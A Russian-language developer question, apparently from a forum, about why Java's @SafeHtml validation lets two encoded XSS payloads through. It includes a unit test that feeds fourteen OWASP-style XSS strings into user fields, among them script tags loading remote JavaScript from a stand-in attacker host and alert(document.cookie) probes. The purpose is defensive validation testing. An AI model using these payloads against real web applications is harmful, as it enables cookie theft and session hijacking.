Я прочитал owasp.org статью о XSS-атаках и о том, как их предотвратить.
В Примере 2 они сказали:
Если они фильтруют по <или открыто вам, следует попробовать различные методы кодирования: </p>
<script src=http://www.example.com/malicious-code.js></script>
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e
Я использую Bean Validation 2.0 (JSR 380) для защиты приложения и @SafeHtml
аннотацию для защиты каждого поля String
.
Проблема в том, что я пытаюсь протестировать различные шаблоны из примеров owasp:
User user = new User();
user.setFirstName("aaa<img src=`~`onerror=prompt(666)>a");
user.setMiddleInitial("<script>alert(document.cookie);</script>");
user.setLastName("\"><ScRiPt>alert(document.cookie)</ScRiPt>");
user.setPhone("<scr<script>ipt>alert(document.cookie)</script>");
user.setFax("<script src=\"http://attacker/xss.js\"></script>");
user.setCellular("<script type=\"text/vbscript\">alert(DOCUMENT.COOKIE)</script>");
user.setEmail("<script src=http://www.example.com/malicious-code.js></script>");
user.setAlertMethodCd("%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e");
user.setHrid("\\x3cscript src=http://www.example.com/malicious-code.js\\x3e\\x3c/script\\x3e");
user.setOrgUserId(">\"><script>alert(\"XSS\")</script>&");
user.setAddress1("\"><STYLE>@import\"javascript:alert('XSS')\";</STYLE>");
user.setAddress2("<IMG SRC=\"javascript:alert('XSS');\">");
user.setCity("<IMG SRC=javascript:alert('XSS')>");
user.setZipCode("<IMG SRC=JaVaScRiPt:alert('XSS')>");
ValidatorFactory factory = Validation.buildDefaultValidatorFactory();
Validator validator = factory.getValidator();
Set<ConstraintViolation<User>> violations = validator.validate(user);
Iterator<ConstraintViolation<User>> iterator = violations.iterator();
while (iterator.hasNext()) {
ConstraintViolation<User> cv = iterator.next();
System.out.println(cv.getRootBeanClass().getName() + "." + cv.getPropertyPath() + " " + cv.getMessage());
}
assertEquals(14, violations.size());
Фактический результат:
User.fax fax should be valid
User.firstName First name should be valid
User.middleInitial middleInitialshould be valid
User.cellular cellular should be valid
User.orgUserId orgUserId should be valid
User.address2 address2 should be valid
User.phone phone should be valid
User.email Email should be valid.
User.city city should be valid
User.zipCode zipCode should be valid
User.lastName lastName should be valid
User.address1 address1 should be valid
java.lang.AssertionError:
Expected :14
Actual :12
Как видите:
user.setAlertMethodCd("%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e");
user.setHrid("\\x3cscript src=http://www.example.com/malicious-code.js\\x3e\\x3c/script\\x3e");
может передать @SafeHtml
аннотацию.
Есть ли у вас опыт с такими проблемами? Можно ли как-нибудь добавить новые шаблоны в черный список?